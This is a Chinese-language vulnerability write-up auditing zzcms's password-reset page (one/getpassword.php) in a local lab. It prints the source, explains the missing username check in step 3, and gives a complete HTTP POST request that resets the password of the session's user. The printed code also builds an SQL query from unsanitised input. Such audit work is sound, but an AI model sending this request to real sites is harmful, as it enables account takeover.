前言

这几天感冒很难受,再加上比赛的培训,估计后面会两天一篇。 这个小型CMS前段时间我也挖到了很多洞,这次就找seebug发的一篇来做审计。

环境

Web: phpstudy System: Windows 10 X64 Browser: Firefox Quantum Python version : 2.7

漏洞详情

代码位置和代码

  • 位置 \one\getpassword.php
  • 代码
<?php
if(!isset($_SESSION)){session_start();}
include("../inc/conn.php");
include("../inc/top2.php");
include("../inc/bottom.php");

$action = isset($_POST['action'])?$_POST['action']:"";

$file="../template/".$siteskin."/getpassword.htm";
if (file_exists($file)==false){
WriteErrMsg($file.'模板文件不存在');
exit;
}
$fso = fopen($file,'r');
$strout = fread($fso,filesize($file));

$stepall=strbetween($strout,"{step1}","{/step4}");
$step1=strbetween($strout,"{step1}","{/step1}");
$step2=strbetween($strout,"{step2}","{/step2}");
$step3=strbetween($strout,"{step3}","{/step3}");
$step4=strbetween($strout,"{step4}","{/step4}");

if ($action==""){
$strout=str_replace("{step1}","",$strout) ;
$strout=str_replace("{/step1}","",$strout) ;
$strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
$strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
$strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;
}

if ($action=="step1"){
$username = isset($_POST['username'])?$_POST['username']:"";
$_SESSION['username']=$username;
checkyzm($_POST["yzm"]);
$rs=query("select mobile,email from zzcms_user where username='" . $username . "' ");
$row=fetch_array($rs);
$regmobile=$row['mobile'];
$regmobile_show=str_replace(substr($regmobile,3,4),"****",$regmobile);
$regemail=$row['email'];
$regemail_show=str_replace(substr($regemail,1,2),"**",$regemail);

if ($regmobile==''){
$regmobile_show='无手机号信息,无法用手机找回密码';
}

if (sendsms=="Yes"){
$getpass_method="<select name='getpass_method' id='getpass_method'  class='biaodan'>";
$getpass_method=$getpass_method."    <option value=''>请选择验证方式</option>";
$getpass_method=$getpass_method."    <option value='".$regmobile."'>手机:".$regmobile_show."</option>";
$getpass_method=$getpass_method."    <option value='".$regemail."'>邮箱:".$regemail_show."</option>";
$getpass_method=$getpass_method."  </select>";
}else{
$getpass_method="发验证码到注册时所填邮箱:".$regemail_show;
$_SESSION['getpass_method']=$regemail;//只为email时,AJAX不传值,直接把值设到这里
}	

$strout=str_replace("{step2}","",$strout) ;
$strout=str_replace("{/step2}","",$strout) ;
$strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
$strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
$strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;
$strout=str_replace("{#getpass_method}",$getpass_method,$strout) ;
$strout=str_replace("{#username}",$_SESSION['username'],$strout) ;

}elseif($action=="step2"){

$strout=str_replace("{step3}","",$strout) ;
$strout=str_replace("{/step3}","",$strout) ;	
$strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
$strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
$strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;

}elseif($action=="step3" && @$_SESSION['username']!=''){
	
$passwordtrue = isset($_POST['password'])?$_POST['password']:"";
$password=md5(trim($passwordtrue));
query("update zzcms_user set password='$password',passwordtrue='$passwordtrue' where username='".@$_SESSION['username']."'");
	
$strout=str_replace("{step4}","",$strout) ;
$strout=str_replace("{/step4}","",$strout) ;	
$strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
$strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
$strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
$strout=str_replace("{#username}",@$_SESSION['username'],$strout) ;
}else{
$strout=str_replace("{step1}".$stepall."{/step4}","错误",$strout) ;
}
$strout=str_replace("{#siteskin}",$siteskin,$strout) ;
$strout=str_replace("{#sitename}",sitename,$strout) ;
$strout=str_replace("{#siteurl}",siteurl,$strout) ;
$strout=str_replace("{#sitebottom}",sitebottom(),$strout);
$strout=str_replace("{#sitetop}",sitetop(),$strout);
echo  $strout;
session_write_close();
?>

漏洞代码执行

先注册一个测试账号: 然后退出点找回密码链接:http://zzcms.test/one/getpassword.php 用burp抓包:

Payload

POST /one/getpassword.php HTTP/1.1
Host: zzcms.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://zzcms.test/one/getpassword.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Cookie: PHPSESSID=hir89a7lp85ocl68ls926f9nm0; bdshare_firstime=1520265024224
Connection: close
Upgrade-Insecure-Requests: 1

&password=test&action=step3&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5

执行结果

遇到问题

可能第一次抓包然后改包重放会出现错误,因为第一次SESSION还没有写入,所以会检测不到。

分析过程

  • 我们来一行一行分析这个文件是如何执行的。 第2行是判断有没有设置$_SESSION,如果没有就执行session_start(),有关session的可以去PHP的官方文档 观看:http://php.net/manual/zh/book.session.php

3-5行是包含文件,conn.php里面有包含config.php是数据库的连接信息,等下会有执行数据库的操作。

6行判断是否有post过来action这个值,有就赋值保持原本的值,如果没有就赋值空给$action

7行把$siteskin的值在config.php可以找到,把getpassword.htm这个模版的路径赋值给$file

8-11行是判断这个模版文件存不存在,如果不存在就退出。

12fopen作用是把模版文件的资源流绑定到$fso上面

13行用fread读取文件内容然后赋值到$strout上面

\one\getpassword.php line:1-15

<?php
if(!isset($_SESSION)){session_start();}
include("../inc/conn.php");
include("../inc/top2.php");
include("../inc/bottom.php");
$action = isset($_POST['action'])?$_POST['action']:"";
$file="../template/".$siteskin."/getpassword.htm";
if (file_exists($file)==false){
WriteErrMsg($file.'模板文件不存在');
exit;
}
$fso = fopen($file,'r');
$strout = fread($fso,filesize($file));
  • 这段我们先分析getpassword.php文件的第一行,里面用了一个函数方法strbetween,我们跳到function.php这个文件分析。 第1行就是接收刚才传过来的三个值分别是$strout,{step1},{/step4}

2行用strpos查询上面传过来$strout中查找{step1}的位置,加上用strlen统计{step1}的长度再加上$startadd

4行赋值给$b的意思是从{step1}的位置开始查找{/step4}的位置

5行用substr作用是返回从$a的位置到$b-$a位置的内容,也就是{step1}到后面{/step4}中间的内容,可以去getpassword.htm文件对比下就晓得了。

再回到getpassword.php$step1-$step4都是一样,是为了方便下面的替换。

\one\getpassword.php line:17-21

$stepall=strbetween($strout,"{step1}","{/step4}");
$step1=strbetween($strout,"{step1}","{/step1}");
$step2=strbetween($strout,"{step2}","{/step2}");
$step3=strbetween($strout,"{step3}","{/step3}");
$step4=strbetween($strout,"{step4}","{/step4}");

\inc\function.php line:588-594

function strbetween($str,$start,$end,$startadd=0) { 
$a= strpos($str,$start)+strlen($start)+$startadd;//在起始标识$start所在位后追加数字,如取src="后的字符时,双引号无法直接表示,所以加这个startadd可以解决这种问题
if (strpos($str,$start)!==false){ 
$b= strpos($str,$end,$a);//必须定起始位置
return substr($str,$a,$b-$a); 
}
}
  • 1行判断$action是否为空,也就是我们刚刚打开忘记密码的页面。

2-6行的作用是把{step1}{/step1}字符串替换为空,然后{step2}位置到{/step2}位置中间的内容全部替换为空,下面依次类推。

\one\getpassword.php line:23-29

if ($action==""){
$strout=str_replace("{step1}","",$strout) ;
$strout=str_replace("{/step1}","",$strout) ;
$strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
$strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
$strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;
}
  • 1就是我们输入验证码和用户名点击下一步的内容了。

2-3行把$_POST['username']的值赋值给$_SESSION['username']

4-10行是先验证验证码是否正确,然后数据库查询,查询出来的手机号码和邮箱的值分别赋值给$regmobile$regemail

\one\getpassword.php line:31-40

if ($action=="step1"){
$username = isset($_POST['username'])?$_POST['username']:"";
$_SESSION['username']=$username;
checkyzm($_POST["yzm"]);
$rs=query("select mobile,email from zzcms_user where username='" . $username . "' ");
$row=fetch_array($rs);
$regmobile=$row['mobile'];
$regmobile_show=str_replace(substr($regmobile,3,4),"****",$regmobile);
$regemail=$row['email'];
$regemail_show=str_replace(substr($regemail,1,2),"**",$regemail);
  • 这部分是最重要的,这部分验证不安全,如果从一个开发人员角度出发,只要是能完成修改密码这一个功能就行了,但是安全往往就会出现在这个疏漏。

1行,判断$action的值是否为step3$_SESSION['username']的值是否为空,这里应该验证的是$_SESSION['username']==$username,刚才第一步post过来的用户名。

下面的内容就是判断密码是否有传值过来,然后将密码做MD5加密在去update数据库的数据。

所以我们构造的POST就只要password就行了

\one\getpassword.php line:73-84

}elseif($action=="step3" && @$_SESSION['username']!=''){
$passwordtrue = isset($_POST['password'])?$_POST['password']:"";
$password=md5(trim($passwordtrue));
query("update zzcms_user set password='$password',passwordtrue='$passwordtrue' where username='".@$_SESSION['username']."'");
$strout=str_replace("{step4}","",$strout) ;
$strout=str_replace("{/step4}","",$strout) ;	
$strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
$strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
$strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
$strout=str_replace("{#username}",@$_SESSION['username'],$strout) ;

结束

用Python写这个漏洞的工具好像没什么可写的就是发包修改数据,要写也不难。早上很冷起床赶着写了这篇文章,谢谢大家的支持!

源码下载地址:https://pan.lanzou.com/i0lm7za #参考 https://www.seebug.org/vuldb/ssvid-97130

http://php.net/docs.php